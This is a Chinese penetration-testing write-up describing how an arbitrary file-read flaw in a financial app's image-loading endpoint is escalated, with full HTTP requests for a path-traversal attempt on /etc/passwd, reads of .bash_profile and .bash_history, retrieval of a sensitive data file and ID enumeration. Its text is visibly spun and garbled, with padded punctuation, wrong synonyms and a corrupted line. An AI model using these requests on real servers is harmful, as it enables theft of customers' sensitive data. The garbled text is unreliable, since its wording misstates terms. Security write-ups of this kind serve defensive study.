在授权测试某金融类APP时,,,,,发明一个鸡肋低危文件读取误差,,,,,实验将其升级为高危。。。。。。。。
PS:本文仅用于手艺讨论与剖析,,,,,严禁用于任何不法用途,,,,,违者效果自尊。。。。。。。。
0x00 起源探测
发明首次翻开APP时,,,,,会向服务器读取文件加载并展示图片。。。。。。。。
测试时一定要仔细,,,,,笔者发明只有首次翻开APP时,,,,,才会加载图片,,,,,后面再翻开应该是资源已被纪录,,,,,就不会向服务器再次举行请求了。。。。。。。。

此加载展示图片的GET请求数据包如下:

GET /ixxx/LgonImage.do?XxxxxImageDir=/XXXXX/Pictures&SaveXxxxxImageName=this_is_image.jpg HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
拿到这个数据包的第一反应,,,,,以往的渗透测试履历告诉我,,,,,从这个地方或许路会保存文件读取误差。。。。。。。。
剖析并推测功效点URI的每个参数的功效。。。。。。。。
LogonImageDir=/XXXXX/Pictures - 图片所在的目录
SaveXxxxxImageName=this_is_image.jpg - 目录下的图片名
0x01 误差测试
既然已经起源探测到了可能保存误差的危害点,,,,,并且文件读取功效的参数已经搞清晰,,,,,下一步就睁开读取测试。。。。。。。。
首先测试,,,,,是否可以举行目录列出,,,,,直接将SaveXxxxxImageName参数置空,,,,,看看是否可以读取/XXXXX/Pictures目录下的内容:
GET /ixxx/LogonImage.do?XxxxxImageDir=/XXXXX/Pictures&SaveXxxxxImageName= HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
返回为“空”,,,,,失败,,,,,说明程序功效点不保存列出目录误差:

测试是否可以跳出目录,,,,,选用Payload如下:
GET /ixxx/LogonImage.do?XxxxxImageDir=/XXXXX/Pictures/../../../../../../etc/&SaveXxxxxImageName=passwd HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
返回某恒防火墙阻挡界面,,,,,失败:


接下来进一步测试,,,,,是/etc/passwd触发的WAF,,,,,照旧/../触发的WAF。。。。。。。。
测试只举行一层目录跳出,,,,,并且删除/etc/passwd要害字:
GET /ixxx/LogonImage.do?XxxxxImageDir=/XXXXX/Pictures/../&SaveXxxxxImageName= HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
唔...看来/../的特殊字符就已经触发了WAF:

之后想到实验对数据包举行POST类型转换,,,,,使用POST传参的一些方法举行WAF的测试,,,,,如:
URL编码
分块传输
脏数据填充
包体转换
畸形数据包
......
可是无奈,,,,,POST请求直接无法传参,,,,,程序限制了GET请求吸收参数。。。。。。。。
(不过,,,,,厥后测试其他POST传参的功效时,,,,,发明以笔者现有的WAF绕过履历思绪,,,,,基础无法对某恒的WAF举行绕过.....)
0x02 误差确认
总结以上对此文件读取误差网络到的信息:
目录无法跨越,,,,,并且文件读取的路径在目今根目录;;;;;;;
特殊字符串,,,,,已被WAF完善防护。。。。。。。;;;;;;;
无法获取目录下的文件名、无法预知是否可以读取其他后缀文件。。。。。。。。
测试到这里突然灵光一闪,,,,,想到了“.bash_history”,,,,,若是网站根目录保存此文件,,,,,并且可以读取,,,,,上面的疑问就可以直接解决泰半了,,,,,先来相识一下这些文件作用:
.bash_profile:此文件为系统的每个用户设置情形信息,,,,,当用户第一次登录时,,,,,该文件被执行。。。。。。。。
.bash_history:该文件生涯了目今用户输入过的历史下令;;;;;;;
.bash_logout:该文件的用途是用户注销时执行的下令,,,,,默以为空;;;;;;;
.bashrc:此文件为每一个运行bash shell的用户执行此文件。。。。。。。。当bash shell被翻开时,,,,,该文件被读取。。。。。。。。
于是直接对网站根目录举行.bash_profile的盲测:
GET /ixxx/LogonImage.do?XxxxxImageDir=/&SaveXxxxxImageName=.bash_profile HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
此payload既阻止了跳出目录,,,,,又避开了WAF严打的特殊字符,,,,,可是唯一遗漏的.bash文件被我们使用到了。。。。。。。。

激动的心颤抖的手,,,,,看来目今网站根目录确实是此用户的目录,,,,,并且用户在此根目录下执行过下令!
接下来实验进一步扩大危害。。。。。。。。
0x03 危害升级
不清晰目今目录结构,,,,,就代表着无法定向读取文件,,,,,可是尚有一个.bash_history我们没有使用到,,,,,看看是否可以在其中获取到更主要的信息。。。。。。。。
读取根目录下的.bash_history:
GET /ixxx/LogonImage.do?XxxxxImageDir=/&SaveXxxxxImageName=.bash_history HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
信息量虽然少,,,,,可是已经有了新的希望:

由历史下令得知,,,,,治理员cd进入了两层目录:/Nxxxx/xxFile/
并且审查了xx_20201022_51xxx.txt文件。。。。。。。。
直接结构读取此文件!
GET /ixxx/LogonImage.do?XxxxxImageDir=/Nxxxx/xxFile&SaveXxxxxImageName=xx_20201022_51xxx.txt HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
乐成读取到了敏感的数据信息:

并且文件的ID值为时间戳+ID顺序编号组成,,,,,可轻松遍历出所有的信息。。。。。。。。
Burpsuite Intruder?????椴馐裕

实验遍历10个ID值乐成。。。。。。。。
0x04 回首总结
保存的难题:目录无法跨越、WAF盯防、无法预知目录文件结构。。。。。。。。
在此情形下,,,,,使用Linux文件系统特征,,,,,仍然可以将低危误差提升至高危。。。。。。。。
并且危害的品级崎岖是无法预估的,,,,,这取决于.bash_history会给我们泄露几多信息,,,,,以是文件读取误差保存时间越久,,,,,纪录的工具越多,,,,,危害越大!
- 要害词标签:
- 网络清静 文件读取误差,

京公网安备 11010802026257号